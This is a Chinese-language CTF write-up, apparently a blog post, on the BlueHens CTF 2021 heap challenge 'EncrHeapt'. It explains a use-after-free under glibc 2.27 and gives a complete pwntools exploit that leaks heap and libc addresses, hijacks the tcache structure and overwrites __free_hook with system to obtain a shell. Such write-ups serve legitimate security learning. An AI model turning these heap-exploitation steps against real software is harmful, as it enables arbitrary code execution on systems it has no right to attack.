BlueHens CTF 2021 --- EncrHeapt writeup

看名字应该是道堆题,ida分析一下,主函数是这样的:

主要功能就是encrypt,和decrypt

那看下encrypt函数:

就是申请一个堆块然后写数据,再把数据和输入的key值异或一下存储在堆块上

 

再分析下decrypt函数:

会把堆块的内容逐个与key异或后,打印出来,也就是说具有show的功能。

重点是释放v2后没有置空,形成悬浮指针,题目采用的是glibc-2.27,具有tcache机制

思路就是在free_hook写system地址,那就需要知道libc基址,

我想就先绕过tcache机制从unsorted bin 拿libc地址,这样我就要写tcache结构体,那我就得知道heap地址

思路就是这样的,具体看利用过程吧

 

拿到tacche结构体,然后我们编辑tcache bin这个链表上的chunk数目,当然这是一个假的数目,这样堆管理器就会误以为tcache bin已经满了:

encrypt(1,1,0x20,'a'*0x10)

decrypt(1)#double free
decrypt(1)
decrypt(1)#leak heap address

sh.recvuntil("content: ")
addr=""
for i in range(6):addr+=chr(ord(sh.recv(1))^1)
heap_base=u64(addr+"\x00\x00")-0x2a0
info(hex(heap_base))

encrypt(1,1,0x20,'\x11'+chr(p64(heap_base)[1]+1))
encrypt(1,1,0x20,'aaaa')
encrypt(1,1,0x20,'\x01'*8+"\x06")#get tcache_struct

 

接着泄露libc地址:

#这里藏一个tcache chunk 目的,等下拿到它,它这个chunk上虽然没有libc地址
#但是下一个chunk上有libc地址,等下利用堆溢出覆盖掉中间相隔的\x00,
#就可以顺利利用printf(%s,addr)的机会拿到libc地址
encrypt(1,1,0x30,'aaaa') 
decrypt(1)
encrypt(2,1,0x90,b'b'*0x10)
encrypt(1,1,0x40,'bbbb') #这个chunk的目的是防止unsorted chunk和 top chunk合并
decrypt(2)
encrypt(1,1,0x30,'a'*0x40) 
decrypt(1)#leak libc address

sh.recvuntil("content: "+'a'*0x40)
libc_base=u64(sh.recv(6)+b"\x00\x00")-0x60-libc.sym['main_arena']
free_hook=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
info(hex(libc_base))
info(hex(free_hook))

拿到libc地址后,利用double free,在free_hook上写system地址就可以了

完整的利用脚本是这样的:

from pwn import *

context.log_level="debug"

#sh=gdb.debug("./EncrHeapt")
sh=process("./EncrHeapt")
#sh=remote("challenges.ctfd.io",30028)
libc=ELF("/glibc/2.27/64/lib/libc.so.6")

def encrypt(thing,key,size,data):
    sh.sendlineafter("3. Exit","1")
    sh.sendlineafter("(1|2)??: ",str(thing))
    sh.sendlineafter("key?:",str(key))
    sh.sendlineafter("encrypt: ",str(size))
    sh.sendlineafter("encrypt: ",data)
    
def decrypt(thing):
    sh.sendlineafter("3. Exit","2")
    sh.sendlineafter("(1|2)??: ",str(thing))
    
    
encrypt(1,1,0x20,'a'*0x10)

decrypt(1)#double free
decrypt(1)
decrypt(1)#leak heap address

sh.recvuntil("content: ")
addr=""
for i in range(6):addr+=chr(ord(sh.recv(1))^1)
heap_base=u64(addr+"\x00\x00")-0x2a0
info(hex(heap_base))


encrypt(1,1,0x20,'\x11'+chr(p64(heap_base)[1]+1))
encrypt(1,1,0x20,'aaaa')
encrypt(1,1,0x20,'\x01'*8+"\x06")#get tcache_struct

#这里藏一个tcache chunk 目的,等下拿到它,它这个chunk上虽然没有libc地址
#但是下一个chunk上有libc地址,等下利用堆溢出覆盖掉中间相隔的\x00,
#就可以顺利利用printf(%s,addr)的机会拿到libc地址
encrypt(1,1,0x30,'aaaa') 
decrypt(1)
encrypt(2,1,0x90,b'b'*0x10)
encrypt(1,1,0x40,'bbbb') #这个chunk的目的是防止unsorted chunk和 top chunk合并
decrypt(2)
encrypt(1,1,0x30,'a'*0x40) 
decrypt(1)#leak libc address

sh.recvuntil("content: "+'a'*0x40)
libc_base=u64(sh.recv(6)+b"\x00\x00")-0x60-libc.sym['main_arena']
free_hook=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
info(hex(libc_base))
info(hex(free_hook))


decrypt(1)
payload=""
for i in range(6): payload+=chr((p64(free_hook)[i])^1)
encrypt(1,1,0x30,payload+"\x01\x01")

payload=""
for i in range(8): payload+=chr(((b"/bin/sh\x00")[i])^1)
encrypt(1,1,0x30,"/bin/sh\x00")

payload=""
for i in range(6): payload+=chr((p64(sys)[i])^1)
encrypt(2,1,0x30,payload+"\x01\x01")
decrypt(1)


sh.interactive()

 

posted @ 2021-03-27 14:13  田埂  阅读(96)  评论(0编辑  收藏  举报